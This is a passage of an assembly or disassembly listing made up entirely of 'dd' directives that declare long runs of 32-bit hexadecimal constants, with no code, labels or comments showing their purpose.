		dd 0BF6CBA4Ah, 3A53E924h, 0FD94D2A2h, 4C2D7510h, 62D12F2Dh
		dd 0CF8B5462h, 72144D84h, 16CF282Ch, 0A90FC409h, 5CBF8090h
		dd 0BC745770h, 32D84065h, 0FF0387F7h, 0DC1D4981h, 8084425Ch
		dd 0A588984Ah, 5F319940h, 6E09AE95h, 594DF56Ah,	609F23C0h
		dd 0B7BD120Eh, 0EFDAEE22h, 0DD527196h, 0D2F16AE0h, 0B929D06Fh
		dd 0F3950FB5h, 7EF8D010h, 0B589721Ch, 76A794A4h, 0B925F65Ah
		dd 5F9950C5h, 80749BFCh, 4CA6FA1Ch, 43874817h, 6BC1CB07h
		dd 0BD7709B8h, 335D8FD8h, 0E4B04EC1h, 8DAD7E31h, 0DBD22B16h
		dd 3A4980B6h, 26A4CCBBh, 934B757h, 0CF770141h, 0D6742C57h
		dd 3104FE78h, 0F8629DBCh, 1516EFEh, 133D22D8h, 0C23A3FF8h
		dd 14DF0610h, 0BACD959Bh, 0C287BF44h, 91629F0h,	5EE96273h
		dd 23071AA1h
		dd 5DA19964h, 80A5B32Fh, 8D13E011h, 0AFCCB799h,	0F516F37Ah
		dd 2EBF08E8h, 0C0CDD58Dh, 0A8FCD598h, 8B0F12A1h, 0B4E715h
		dd 3038F183h, 5420A7Ch,	0F9C61DFBh, 5FA3A040h, 7C01EACBh
		dd 6E6A79C3h, 61C05F9Eh, 0B3C6B65Ah, 0C21A7E9Dh, 0B1655h
		dd 0D22EC54Dh, 0E69A9559h, 7DF22DC6h, 501DFF7Ch, 0E15230A0h
		dd 0C09717DBh, 199D2363h, 0CCCE1E4Ah, 294FB822h, 0E2308D89h
		dd 7A4C12ABh, 88A4B24Eh, 5443A7BAh, 0E377ACDCh,	0BA274F71h
		dd 0E5BD8B33h, 7F601FD2h, 542F49B7h, 4342A523h,	0B8F7B77Fh
		dd 0BFCE6A4h, 22481B1Dh, 0E14E80FAh, 25826EFFh,	9B70696Eh
		dd 0AC8E6417h, 9200A791h, 0BDA8DBAAh, 950419FBh, 2C292349h
		dd 52548064h, 0F3864Fh,	9B2C3EB2h, 57E11EF2h, 0D8C8904Bh
		dd 0BD95007Ah, 1850CF4Eh, 3F038CFDh, 2F08F8F6h,	8FAAD528h
		dd 40EE58B2h, 0BF046006h, 6AB0EE6Eh, 0B5616CF0h, 0E1D822DBh
		dd 0E0355B3Fh, 0E641FECDh, 0CEE7827Ah, 0A640BB56h, 0E663103h
		dd 46C19AA2h, 277779A0h, 58009D82h, 0AC68615Bh,	0F0AB40Fh
		dd 753343BBh, 53F7C077h, 2FF9AB0Ch, 7E82D49Bh, 0A22E07E8h
		dd 5D1B358Fh, 0AF0BC18Bh, 5F548DFAh, 7301C813h,	3A6F5B7Eh
		dd 5FD6FC61h, 1B913DB5h, 292A3180h, 0DE02F90Ch,	0D98B17EBh
		dd 8E71E8h, 6479B583h, 0B400E20Bh, 0CF44413Bh, 1523A76h
		dd 2B61E4E5h, 8204319Dh, 0D7BF66AFh, 5538E2E9h,	0E5C0886Fh
		dd 1B31A0Dh, 5FBBFB29h,	717DB9B7h, 46DB28D2h, 3436B02Bh
		dd 0E0F3011Ch, 0E9B50925h, 39E73B03h, 1B63205Ah, 509AB0Bh
		dd 0FD99D95Dh, 2995B746h, 0D0AE73BEh, 8D2789FBh, 0B5086829h
		dd 25FB95A1h, 4E3DFFD8h, 922BF98Bh, 258DC304h, 0C8C28FAFh
		dd 5166C01Ah, 0BF130C27h, 0C9FF5484h, 918D6074h, 0A7DD094Bh
		dd 6F35FED9h, 9BD7162Ah, 58B980D5h, 63ED737h, 0FEB3217Fh
		dd 0D12FD269h, 633F2204h, 0F54442BDh, 0B20A33C1h, 2004A441h
		dd 7A78BB66h, 8BB6964Eh, 145A4FE0h, 25925D02h, 61BD3C6Ah
		dd 5DC2F99Ch, 352633FBh, 302D2108h, 68853976h, 7077F609h
		dd 3064B2h, 2DD88652h, 3A9F5D9Bh, 0DBADB15Bh, 0AE8C0901h
		dd 21BD314Dh, 4E3038AEh, 1CA20AA6h, 8E1130h, 7E618912h
		dd 90358639h, 388D0F11h, 0FB53CC48h, 72424B00h,	0A99ABA10h
		dd 986CED00h, 9654CCCBh, 0A1043A9Ch, 18FF5BA5h,	36EB5Fh
		dd 296570A6h, 9A8C4255h, 0F004690h, 482BEE6Fh, 97B6ADA3h
		dd 9016ACD6h, 98FD34ABh, 0CEB45364h, 10C09D45h,	7D573Ah
		dd 1CDCDDEFh, 22B05C1Bh, 106CA500h, 0A7BB5FD4h,	9B812ADh
		dd 0E0BDF661h, 0F3F0621h, 178F5A80h, 0CDBFAC36h, 8F2FB6B3h
		dd 20E510ABh, 89202CF2h, 0BD332DB5h, 7B6BA7D4h,	853700Dh
		dd 7D362009h, 0DD4F71F9h, 40C5CD25h, 0D79868AEh, 2717D897h
		dd 0AFF671BCh, 0FC162E3Fh, 5F18571h, 14CDF7C2h,	14460FE0h
		dd 2F9604F9h, 0A803B236h, 7FD314A0h, 4E0B1EDh, 9CE82C39h
		dd 9208633Ah, 0E163D3Bh, 0F2CB85EAh, 1309A8FEh,	0FCEC9DEEh
		dd 3FFD4EBBh, 8FB3D2h, 5C86EB81h, 250F11BBh, 95CC2F32h
		dd 6ABFDE4Bh, 0CD984B0Ah, 56CE1285h, 0A253BEFFh, 0AC0435FAh
		dd 220580B6h, 36C528h, 96BDAD08h, 0D1CF358Bh, 53F69801h
		dd 504C45E0h, 0E94F8373h, 4AB38118h, 0C179965Bh, 0C2044BB8h
		dd 0A5F1C40h, 0A02E8AEEh, 1454F67h, 0CAAF6311h,	3FE17E59h
		dd 89030820h, 12A73D30h, 0F734DF07h, 310930C9h,	7B09B38Ch
		dd 8B6C5E9Eh, 0AFE2559Ah, 5BE03ADFh, 0EAF35359h, 0A3E08492h
		dd 134BD18Dh, 243F6EBFh, 0E1C7621Ch, 2EDB2020h,	0D7961611h
		dd 422AEA17h, 0E900D491h, 0D381B6D8h, 8B2F25F0h, 8C10F568h
		dd 6012AAC9h, 46F185A3h, 38EC4539h, 6846DB0Eh, 552202E0h
		dd 22987F0Dh, 6300C381h, 294BAEBEh, 9E02D9B5h, 9224EC4Bh
		dd 337FBD12h, 93458F1h,	8E7E951Dh, 2D68668h, 0B61883C0h
		dd 0ED57AFB4h, 65196415h, 0F1D67FF8h, 6A352E8Bh, 9706A8A0h
		dd 3F63CF6h, 825E1C31h,	29CA60EEh, 141D91E0h, 0E4956DBDh
		dd 0D5B56214h, 0F7DD0CC3h, 0BF6604E3h, 0BAE8BAB4h, 5FCDCB11h
		dd 7734E6Eh, 0EF3FBBEBh, 0ACA18E8Fh, 0AF392B48h, 0FCEDDCC2h
		dd 90C49217h, 0C9C035ACh, 95474C76h, 0F16F781Dh, 0F58A4880h
		dd 566EEE2h, 59E01FBEh,	19128250h, 0D461092Fh, 1746D625h
		dd 329A3D00h, 159529B1h, 0F8120E96h, 598B51F2h,	0C9D849FBh
		dd 4A9B0264h, 885D1A2Fh, 0DF301A77h, 0A1CBA04h,	4000DD96h
		dd 0B3605028h, 202AE782h, 52ECF51Dh, 34A9702h, 0FF169075h
		dd 96E2E64Ch, 80181895h, 0B2054EC3h, 176A85Eh, 0AC741532h
		dd 31BDA3D8h, 97532ECCh, 85E886F9h, 28940A97h, 1D46DCh
		dd 0B94945B7h, 3B99E6D8h, 0BF4B25BBh, 4E59A66Ah, 9C0B6EC0h
		dd 0F4027F6Bh, 0A0BC88BBh, 51C75E01h, 3CA72F50h, 82890CB2h
		dd 2754BF71h, 0BF56D2F6h, 814B1210h, 0E99D2B9Ah, 6CF32B14h
		dd 0D13DBFC0h, 0E90E531Dh, 32FFF1B9h, 47B41BABh, 24A9522Fh
		dd 31C1C142h, 249CE36Dh, 0B0DF25CDh, 0A1830FADh, 923F902Eh
		dd 86C6CD25h, 23AEC1B5h, 3F66Eh, 0D505F32Fh, 3B2C61A7h
		dd 0A838DC64h, 0F5E81A12h, 671C297Ah, 0E9153070h, 5EAB6FEAh
		dd 6AE70BEFh, 70495B00h, 8B977A0Bh, 701B535Fh, 23089ED8h
		dd 131C4D9Dh, 8ED2EB89h, 0B8C86890h, 4C0FEC22h,	0A292878Eh
		dd 0D4820F45h, 8572010Eh, 0DC89CAFh, 384024Ch, 71EF014Fh
		dd 61FF10DDh, 0F2BE00B3h, 0D1E09FA3h, 1460E94Bh, 3236AF1Dh
		dd 0DAAE00D5h, 6B20F3DCh, 91706E13h, 0B745AD00h, 5FB0370Bh
		dd 7D53B56Ah, 48A63978h, 19120101h, 1299F205h, 0DAAF50D7h
		dd 0E7093CBh, 0B679CACFh, 212340A7h, 0E50011EFh, 9D6ACCE1h
		dd 12EBA4F0h, 0F314DC55h, 0F0205AC1h, 25DE782Eh, 0B75FE854h
		dd 0DFEA7B9h, 2595FC4Bh, 5E11C7C5h, 1D11824Bh, 0EF84DF0Bh
		dd 26A0426h, 690904B8h,	0DB4490A1h, 0C0219A00h,	9F494357h
		dd 0B51904BBh, 0FB5F236Ah, 0D3900E82h, 66FE704Dh, 55542104h
		dd 0F0BDF1CFh, 68F68D89h, 0E91630CFh, 0E1BFFC82h, 5FFE303Ah
		dd 0EAE35B6Dh, 0C968167Dh, 0D3A2FD22h, 6D388DAFh, 82F0003Eh
		dd 341FAEC0h, 0F66000B7h, 0AB64196Bh, 314BA8ECh, 0AE7535AAh
		dd 1839C8h, 0D61F80EAh,	46B24BADh, 0FCA8910Eh, 0AF0F30Dh
		dd 89584AD1h, 20406E4Ch, 9F4E8DE6h, 7CAF05E5h, 0FAB6B29Bh
		dd 9D3A05A2h, 0FAF925ADh, 0B1BD0140h, 0CC7C9F27h, 0DC4F0B52h
		dd 3AE3E004h, 5900BB3Dh, 0A54284ADh, 0B5946ECCh, 5495F9h
		dd 250FEFBFh, 0E7B35885h, 8B020404h, 83F86AD8h,	9529BF4Bh
		dd 2202083Ah, 0D791B58Eh, 0A901A07Bh, 0B7E235E4h, 4D623ACCh
		dd 9702C19h, 0B4B01640h, 154D0802h, 0F9BF0F01h,	9F3170E6h
		dd 3DE89CF7h, 39D2D889h, 2F5DF451h, 694210F9h, 0AD9D8909h
		dd 58ECC4F7h, 0CD3DA960h, 0CE99D84Ah, 130CDB02h, 99BA6139h
		dd 6F61FE89h, 413D5630h, 4E172F16h, 971C9981h, 314CF22Bh
		dd 2DF17057h, 31435B02h, 0E499123Fh, 514D9C6Fh,	31C932ECh
		dd 4C44945Fh, 0BD0BB0C7h, 42064FD5h, 29E2DF42h,	0F3401F74h
		dd 0DBF5460h, 79059557h, 0CB01C21Ah, 483A0208h,	0A5A01B27h
		dd 4BE9FA26h, 0E1371849h, 67BC0013h, 9938F16h, 18516D9Dh
		dd 1A242F49h, 7A0044E2h, 1279DBE1h, 0AD00E21Ah,	3BC0955Fh
		dd 9146ACDh, 53E3DF2Dh,	24142CD1h, 2D93DCC4h, 0EF902CA2h
		dd 896F914Eh, 2834995h
		dd 0E57745E9h, 0A95A8464h, 5A9BBEE8h, 425039C1h, 809F6C57h
		dd 1E419516h, 20530036h, 0A2994F8Bh, 93030283h,	97A71BE5h
		dd 0EF6E5E5Bh, 0FC00CB39h, 88185DB5h, 53B2A5B9h, 0FA8B5632h
		dd 75F090Dh, 5419FCD5h,	801ADEE3h, 0FD7098EFh, 2E572B8Dh
		dd 1723E26Ah, 8321EF02h, 0BBE68Bh, 0F5913D68h, 81096447h
		dd 2083338h, 2BAAEABAh,	25F8F6D2h, 35A5C8CDh, 34130F26h
		dd 0E063803Ch, 76B7FF75h, 0DC45BEh, 0C4A54AE9h,	683D291Dh
		dd 0C8212FF7h, 0F63B5AB3h, 90854B4Ch, 80ED9EFFh, 71BDD6AFh
		dd 88E01E60h, 40F5FF6h,	0FA5BDA8Ah, 258019CCh, 0BCE513CBh
		dd 5B5E506Bh, 0A095B714h, 25308A15h, 0A1E5D1BEh, 0E04B6111h
		dd 774B7D03h, 4E573FBFh, 992EC460h, 2FCF12F3h, 606BBF49h
		dd 97001A23h, 0F5D0F9B6h, 23F30B30h, 0A2A2DDBDh, 0C240E1FFh
		dd 9C972679h, 2EAB4598h, 0BADE8C29h, 1F865C0Dh,	36BD6F76h
		dd 23A0D900h, 0CB01D597h, 0AB911A5Ah, 1FDC2B16h, 49060093h
		dd 0F7E0D5E4h, 3AE7FD25h, 5B85E3A8h, 1C6EEB60h,	12ACC600h
		dd 5054464Fh, 1D2B172Ch, 78557889h, 7AB79FC6h, 0C4EE3E00h
		dd 0B555BF66h, 71B7C0F0h, 0F9D68011h, 0F6C979B0h, 31C1120Eh
		dd 7624D38Dh, 0E025B9B9h, 7383DDFh, 20B582CFh, 0FC6A6593h
		dd 12AE7750h, 0E1636089h, 0B063500h, 890F0A74h,	6EBE15E1h
		dd 1923F8h, 0A5D3EA1Dh,	84BD22B3h, 6E9027Ah, 80F2DBD2h
		dd 0C20EBBFCh, 902F3B8Eh, 20C14303h, 518A5061h,	5F9CE279h
		dd 516F9053h, 94772000h, 4C7DE24Ah, 5CBF1412h, 644D0F01h
		dd 0DE7B63F9h, 52BE9339h, 85F2A0h, 5A293D1h, 2449B2Eh
		dd 52E7A109h, 0F17598B0h, 0E60B4B00h, 0E38088D1h, 0B81A7075h
		dd 7BD40045h, 3A2B10C9h, 8B695835h, 1E625483h, 51862865h
		dd 0ED60515Fh, 11E828DFh, 0A2BE0026h, 2CA78A82h, 0EB00C332h
		dd 58D5CC7Ah, 0B9090F23h, 972F8002h, 6BC56701h,	16078600h
		dd 0B7A50F6Fh, 0D75E3BEBh, 61581D0Eh, 0C46EBF57h, 1C955300h
		dd 62483482h, 76BBB417h, 1F58A04h, 9C1EDADh, 341FFD8Dh
		dd 1448E24h, 7B4DBDF5h,	0D8601964h, 3507A43Ah, 9D2907A2h
		dd 6084401Bh, 0BED00081h, 6165E071h, 79CB72E9h,	5BC64157h
		dd 0C86B9A7Ah, 80E7C215h, 0CAF588E2h, 2F0E5EF6h, 0E60594Fh
		dd 4B778867h, 1BCC09ECh, 1BB12D3h, 1991BFFBh, 322F514Eh
		dd 2561F5FAh, 39B2151Ah, 0CEE99200h, 0A121DD32h, 0BE470F00h
		dd 0B723803Eh, 0D4857101h, 62DBB41h, 0C100FBB7h, 2AD3211Fh
		dd 994A4E83h, 1EA46F0Ah, 96042646h, 1561204h, 5FD1DF7Ah
		dd 7A66EA5Bh, 7326D904h, 0B0BC339Ch, 0C0F8DE5Eh, 400CDABEh
		dd 445E1C86h, 0AF5412A2h, 1096C8h, 0E6F87481h, 0FB7C8FB9h
		dd 28688707h, 0BFE09D65h, 0B54A2D15h, 0D71FB6F2h, 0DD258266h
		dd 0A4BF7990h, 7A483A17h, 6EDD2EA9h, 0ABD9128Ch, 0CA04D66Fh
		dd 99331021h, 802138A4h, 689D9265h, 629000A1h, 1DE411ECh
		dd 62E0809h, 0C22D8920h, 95897067h, 9EF4AB7Ch, 2CC4C059h
		dd 0C902BFB9h, 0B3464391h, 2C3CF5E6h, 9D4F496h,	94F673C0h
		dd 477D7300h, 0FC975BBCh, 0BC21644Fh, 1A6D85B1h, 0A52C3BEAh
		dd 820F0C05h, 260BF625h, 80927B11h, 424D3A13h, 0CE007C54h
		dd 0EA88A4EFh, 8809E910h, 0F10F28DEh, 44B408D7h, 8DBCFDB1h
		dd 9A7B3A3h, 0DE745Ch, 1EB6A26Ah, 0CE13CB1Dh, 29465358h
		dd 7F62F75Bh, 7A4F7703h, 5D8C5B40h, 0F3D2029Ah,	14E97DDEh
		dd 2AE11B20h, 0FEDC5EF9h, 789D1640h, 458BD27h, 0FB118D7Bh
		dd 18B7BB1Ah, 411B4FF0h, 0D4EAA417h, 0BE4A4CECh, 4426D869h
		dd 755AE6B0h, 8132613Ah, 49963B13h, 1FCD8531h, 0C84BDB2Bh
		dd 0BD84C018h, 30F719A7h, 154AC7ACh, 0D80ECDECh, 81C050C2h
		dd 35A5D6EFh, 0A4056B4Ah, 70EA5317h, 364ADB3Dh,	563BEC95h
		dd 1BE280F9h, 368EB30h,	8C36E16Fh, 9A12BC2Eh, 1EF33771h
		dd 9ADFFC25h, 3DE27F7Bh, 98EABD56h, 0EF4B1D11h,	7C8C8125h
		dd 1D6300DFh, 3DC193FEh, 573B4B30h, 4CA80124h, 43F36D51h
		dd 0EFDA122Eh, 7380629Eh, 944ADE36h, 0C69A1F25h, 0F78102D5h
		dd 2D74FF29h, 2D9ECCD7h, 855EDFB7h, 89E804F4h, 0EB1C1DBDh
		dd 434AD5B7h, 0BC33F5C7h, 0E1A83CF8h, 1480B913h, 23106BAFh
		dd 0E3E11614h, 79E658AAh, 0B82E2441h, 16BE9244h, 0C828EB1Bh
		dd 4F470496h, 0B8D0F7A5h, 95310CD1h, 915393B1h,	3CDD81F8h
		dd 7A4D70DEh, 5F8913F7h, 114D3877h, 0E270821Bh,	70689495h
		dd 0E4F39549h, 0F8D205D0h, 0AB304C26h, 0A097BC4Bh, 16C87Fh
		dd 2F59DD9Ah, 0F4EF5E33h, 0C6F10900h, 3984D245h, 961825DCh
		dd 0E18F8E40h, 0F94F56ECh, 0BD5B1FACh, 97FAF8B1h, 4D7D4F29h
		dd 4323E747h, 4BB839B5h, 0E82807F8h, 1D4AA231h,	8984ECE2h
		dd 59564908h, 0F05BA581h, 6C5ABF00h, 0D3892C81h, 0F94C565Ah
		dd 8D01A04Fh, 0E2054AA9h, 0F0EDD7CFh, 394EE3A8h, 5CDCC0C8h
		dd 6980A787h, 1F3BBA93h, 0BE18FB00h, 3AAA6B09h,	0F789F9Eh
		dd 5F5B0640h, 313FD3C6h, 0F529B8D4h, 21E7C6AEh,	7CB8E927h
		dd 4E56257Dh, 3D0FEDCh,	75F652A5h, 1D5A0FE9h, 6A354EEAh
		dd 0BAD76380h, 0A404AE77h, 0C18BB2D9h, 3AC91B9Bh, 91D8B55Fh
		dd 89EB9719h, 4B6D5133h, 489E3AA1h, 3AB306C6h, 16E0A18Dh
		dd 3053CF47h, 342AAEBh,	1F4ABD9Dh, 3FD3C490h, 5FCD95E9h
		dd 26D0F4E1h, 4C176CCh,	6DBD8B8Ah, 8BF2EB21h, 3B55202h
		dd 7C78615Bh, 7B8FF30Eh, 9EA9F350h, 774A0BB8h, 5AEFCEB0h
		dd 6AA5B10Fh, 1DFD7FECh, 4AC07ADAh, 0C4C56DFBh,	0BE0D6952h
		dd 4EB042A7h, 11CF851h,	0DFE5399Dh, 42B57B7h, 5F31A7BBh
		dd 1C12CCB5h, 68630860h, 6A1D02F7h, 0B3DE9184h,	1B165D54h
		dd 0E6D3F1ACh, 0F5EBA5AEh, 2A6E2191h, 6A8119D5h, 0F83EC4D2h
		dd 55FDF4D3h, 7D0BA0B8h, 80B9D8B2h, 0DA8ADEC5h,	6F02486Ah
		dd 500F407Dh, 9057F6F7h, 950E6981h, 0D36962F9h,	60AB505Ch
		dd 36CC801Ch, 6199C4C1h, 382E29E9h, 3F41DDA3h, 145DFD8h
		dd 0B3626A1h, 2E2A959Dh, 88088628h, 9801489Ah, 0ADB964B7h
		dd 842C90E4h, 7510D381h, 3A87E0AFh, 0BDB1C905h,	0D0EF20F2h
		dd 4AB8FB54h, 571E0712h, 419BBB12h, 8CE2B380h, 0D312603Ah
		dd 82E6ACFBh, 7DCCF925h, 0E9781498h, 95008282h,	75FB752Fh
		dd 1435372h, 0A82AD6C2h, 954760EFh, 4F1C6132h, 0E9EB82FFh
		dd 5DB5211Fh, 0F2AA051Dh, 2DBE4A0Eh, 0A422AF78h, 0D1ABB0E4h
		dd 3870E6BCh, 0FE78027h, 0FC746AADh, 0DE106623h, 5258471h
		dd 9188792Ah, 8F205A06h, 2ABE9Bh, 3478F440h, 0AA4322EEh
		dd 95BA7E6h, 0C8AE0725h, 0E404D86h, 6BA25F9h, 0F7F31738h
		dd 44EEBE0Bh, 806F0132h, 112EE8CFh, 3F005850h, 36A33BEEh
		dd 2025698Eh, 5059C0C1h, 0C82B2F5Fh, 0CB39718h,	85EC95h
		dd 0FEB9C752h, 0F847F917h, 74B84300h, 300698C1h, 0E99239FAh
		dd 0A0D72D6Bh, 4C5085B0h, 12476455h, 0D6FAC6FAh, 4B848852h
		dd 7841DCECh, 17AD8630h, 0E06145FDh, 0F1BD2037h, 0DDBD84D2h
		dd 8716632Fh, 3B18808h,	1A409822h, 4A4851E9h, 0DE99092Bh
		dd 0F62D6973h, 4E76F233h, 79315F25h, 6C35A51Eh,	0E00CBD61h
		dd 8224EF68h, 802105AFh, 2137BF84h, 0FF8461B9h,	0CB7AEBB8h
		dd 562A1C00h, 0E37C5733h, 5F745E48h, 979D30FCh,	353002F9h
		dd 0CBA26AA7h, 5457F5FAh, 0F7B6D452h, 695055C9h, 0B7E78016h
		dd 480630EBh, 9A008B2Dh
		dd 867350B0h, 477345Fh,	15B993F8h, 1341E410h, 57A7098Ah
		dd 5380B0F3h, 0EF34373Fh, 0A8D24EAh, 9A62A5BFh,	70B1DB75h
		dd 0C47D66FBh, 8F95DC04h, 99CCFC18h, 41120076h,	23A6FBFDh
		dd 5C15C37Dh, 0B8378058h, 9E5AC11Ah, 0FD74CD75h, 0A9CC4139h
		dd 0E39D3A1Ch, 5A95D930h, 5034B62Dh, 2BF59017h,	57261920h
		dd 0D1010059h, 0B3A39FAh, 9D272B68h, 5F46405Dh,	0F51FA1BAh
		dd 60C83D2Eh, 24B74938h, 0F2EB8B05h, 1CC14B33h,	0E67B4639h
		dd 0B015B28Ch, 0C49D5E80h, 0B92245F2h, 8CAAD3AEh, 0BD209DE7h
		dd 8895952Eh, 0F3F78180h, 9E6584A4h, 6B65250Dh,	5B38931Ch
		dd 24356EEEh, 351ADB7Ah, 0D48856ADh, 0F1001C46h, 20A56E9Fh
		dd 0BD287DEDh, 112E8B26h, 18427E1Ah, 0D6955C86h, 8A4F1C46h
		dd 128248F8h, 97E20921h, 1C4EEB5Ah, 2701C423h, 7CE29DB8h
		dd 9C75262Ch, 0D1762D28h, 0DC437CD2h, 19E7AE01h, 6D9F46D8h
		dd 1ED5202Ah, 3E016C0Bh, 3E7C8A6h, 21D8D9C0h, 31F20914h
		dd 737CE047h, 0F7E38160h, 5945E608h, 0CA4A3A5Bh, 5EF93AEBh
		dd 6C00AB7Ah, 9E26FA9Ch, 3F155E83h, 583368h, 7BDA482h
		dd 8C9817h, 65169DC8h, 7C5A27BFh, 5F799412h, 0C2BA2813h
		dd 3C5C6066h, 893F02DCh, 2D6B5A14h, 0BFECA2D5h,	2CC45CF9h
		dd 35590B56h, 3364DF56h, 0D8FA5752h, 2B99812Bh,	0CD046012h
		dd 0F81313A9h, 66CD4A8Dh, 0E1FDC230h, 58409002h, 5B9CAB11h
		dd 5E57A509h, 78B7DE36h, 6F6A5EC4h, 0B065007Fh,	0C02E28B5h
		dd 0BD50E81Ah, 766F18F1h, 550089B2h, 0D56CD88Fh, 18082F78h
		dd 8105E9C2h, 4A351AAh,	2BB23BBEh, 52505309h, 0DD2578F1h
		dd 0EC7741ABh, 0BA5E9F53h, 5E310F42h, 5EFC408Bh, 0FD097A62h
		dd 54145F26h, 8BB839E6h, 279EB058h, 46D6627Eh, 61F1001Ch
		dd 54B67856h, 0A7E0240h, 197D8D89h, 3262EBA9h, 256BCE77h
		dd 0F7837B3h, 0D0E75B97h, 5E250C38h, 0F409C232h, 919AF659h
		dd 0A016B520h, 9726B030h, 15910C35h, 814D4585h,	0DE23CF6Dh
		dd 572D085Ch, 9C2E6C30h, 5C1FFC7Ch, 3A857976h, 0DBC1BC29h
		dd 0DDE1E204h, 81B5F83Fh, 1EB99509h, 0F3815B00h, 0BCECC409h
		dd 932A7162h, 87D4FB29h, 0BD6980AFh, 27871925h,	345086DBh
		dd 887A001Fh, 0EA88390h, 0BB0EBD75h, 7284ED17h,	73D19E1h
		dd 0AD019BB8h, 29BBED7Eh, 0FC3E64B3h, 64968961h, 92DE9560h
		dd 202B5079h, 2F7B02B8h, 30314500h, 0D7E4237Fh,	82320085h
		dd 964F1D7Ah, 0D409EB81h, 8236A124h, 57D2BC30h,	0CE524953h
		dd 9F8C7C40h, 2908F146h, 1B2DBDh, 230CB568h, 0A4BB779h
		dd 0F4A5280h, 6E3FF33Ch, 0A6F60058h, 75608CB0h,	8D9E257Fh
		dd 58FE4AD6h, 7110E003h, 42502702h, 9D12D090h, 0AD014FB7h
		dd 7539DF43h, 4B0D0230h, 2631C914h, 5F8B2D41h, 0CD61FEA4h
		dd 0E8B06F80h, 0BA303846h, 0FEA7FC87h, 133B20F5h, 0BE12833Eh
		dd 99E22742h, 5FF852C2h, 2D518056h, 0F98B2183h,	0F7D41E9h
		dd 53178727h, 0DD398015h, 1F48A7B6h, 868D2E00h,	0BFD3E941h
		dd 14710907h, 0D2045B53h, 0C8E15603h, 0E9F9CE2Ah, 9C86A3Bh
		dd 846EEA86h, 0FBB08494h, 0F6C7957Dh, 815DBB98h, 29487FDBh
		dd 62C85730h, 0A52F03A8h, 62F717D1h, 0EECCBF02h, 0F35675C7h
		dd 0DCB577DAh, 76EE0038h, 4F90840Bh, 7980C4F8h,	0B5F1AC19h
		dd 0AFD7E09Ah, 0F99EEC90h, 259400A8h, 0B9666096h, 0CCB5FD64h
		dd 61F9098Ch, 0D95D9650h, 0FB9D9309h, 0DAABAD85h, 9DD9D298h
		dd 0CC1CA541h, 23F1568Bh, 64E9585Ch, 6679004Ah,	9DF7E8FAh
		dd 0E20AC83Bh, 0B999EA43h, 0F6C174A5h, 8284EF38h, 0A494197Bh
		dd 4CE0FD9Fh, 0DB9F3165h, 9D1D09Ch, 4E1544Ch, 953134B2h
		dd 5AC6F8AAh, 1F47FBAh,	14AFCD3Eh, 0B27FCC10h, 2ED3A8DAh
		dd 40A7F2Bh, 0BE1C4FE7h, 0C3024FE3h, 0D88A56Fh,	0B72D775Ch
		dd 0F4D7003Fh, 7FB5B131h, 3EF50951h, 0BF92A9ECh, 74AB7A34h
		dd 0C0D9DA57h, 70B35397h, 0D60161C8h, 0BFB4ECF7h, 102E0B0Ah
		dd 0CE0B7F31h, 29E4CE56h, 61BDF3EAh, 0CE2FD732h, 20CDC23Eh
		dd 70F8C557h, 82010E1Fh, 398DB3BEh, 609AA3ABh, 0B6D893C9h
		dd 6084CF95h, 7E7F151Fh, 3E80CF2Eh, 0A1B392C0h,	1C7E469h
		dd 76FCDB5Eh, 0C0304CD9h, 0DE9F31D2h, 0B59D0E80h, 0C3772C13h
		dd 1B478716h, 1C919804h, 0F032DDEFh, 0F5A15BDh,	2C8857E3h
		dd 0CCEE89A8h, 0B3546C4h, 6D19500Bh, 0B024D841h, 5D12FA00h
		dd 13C2E4F0h, 0F5019F97h, 0C65B3CD8h, 90556A2h,	1911CCBDh
		dd 0CEB97780h, 0A34B65C2h, 152B868Ch, 330B89BDh, 0D397A992h
		dd 1D095A6Bh, 6771A135h, 0F6095B47h, 0B216F4AFh, 11C4357Fh
		dd 0E6D782ADh, 0DC1EA14Bh, 8A46BD41h, 95218674h, 572E9664h
		dd 203ECD52h, 5B5F2512h, 0D5A071C5h, 0E9895162h, 25715CB7h
		dd 0B570EEDBh, 26032D4Dh, 2906AD5Ch, 0C47F6985h, 0B961D7F4h
		dd 0B8A2D14Ah, 0BF3A0143h, 79663937h, 7824090h,	3EED5081h
		dd 7FECA2h, 56168C9Eh, 93A20957h, 81E68500h, 0AD47FCD3h
		dd 6A5B2573h, 0F2B75Fh,	0A70A2B80h, 60DBBACh, 4A72B5A2h
		dd 0C274EFF0h, 0E94F4DE6h, 72A55B7Fh, 0DD69BD56h, 6B290AE1h
		dd 0EC2A1DA1h, 0B31BFC98h, 0C5DB2552h, 19C04A5h, 0CB01BA13h
		dd 310F5F57h, 0C23C243Bh, 59DD7241h, 0F7F8A5ACh, 4EDC515Ch
		dd 4A5470FEh, 9000DAEAh, 9EA1EEC5h, 2BA49A4h, 7F6A66E9h
		dd 1761A0BDh, 0B8336990h, 9E360533h, 0E06AC853h, 0D54F5907h
		dd 8209C0A0h, 56551A62h, 0DB6A162Dh, 0E296C08Bh, 0BBA55D1h
		dd 0F3213FEDh, 0F48EDCh, 35EDA838h, 91656871h, 9BECD5Ah
		dd 0A9715BA0h, 97A26092h, 0FC823D3Bh, 9CAC985h,	614E0046h
		dd 18AC7EFDh, 53BD048Ch, 0A8EEB391h, 0E8B0438h,	6EBED1FFh
		dd 69F90F13h, 7553C129h, 282E8460h, 28B4A93h, 40D3EB6Eh
		dd 86D8026Ah, 307D24A2h, 255F5B22h, 0B7770489h,	38020433h
		dd 205BBCABh, 2C297606h, 53E61609h, 0AAE98012h,	57847AE3h
		dd 8308174Fh, 21BF0132h, 2F2CA11Fh, 858050DBh, 268E3D5Fh
		dd 0C1D82A02h, 55BF0F94h, 0CAB5416Ch, 2837FF31h, 0A2ADF700h
		dd 9E0B84CFh, 0A95E49EFh, 2CBE1A13h, 0C5585DFEh, 86D94AE2h
		dd 0AC91C47Ah, 7DB95E7Ch, 10BE0E8h, 0FF896E9Ah,	2B564011h
		dd 41C9E39Ch, 26B17B21h, 84B8A739h, 27DC70BFh, 97CF2BF1h
		dd 901BB443h, 635B32h, 0BFD54A79h, 116FC478h, 0BDC23397h
		dd 0D836A020h, 0B079300Ch, 4621550Eh, 70E61C12h, 42E2E730h
		dd 93160563h, 0E871E4B9h, 0BDD74A53h, 0DF4B865Ah, 0F05D5892h
		dd 0DFBF2D3Ah, 0FB2B195Fh, 0B93FA128h, 0EF5BB858h, 46AA2C24h
		dd 66FDBBF7h, 0D5E2F725h, 2FED48B0h, 9E405582h,	1B4241BDh
		dd 0DCCB8003h, 315090E9h, 164EA122h, 50B330FBh,	81268FEh
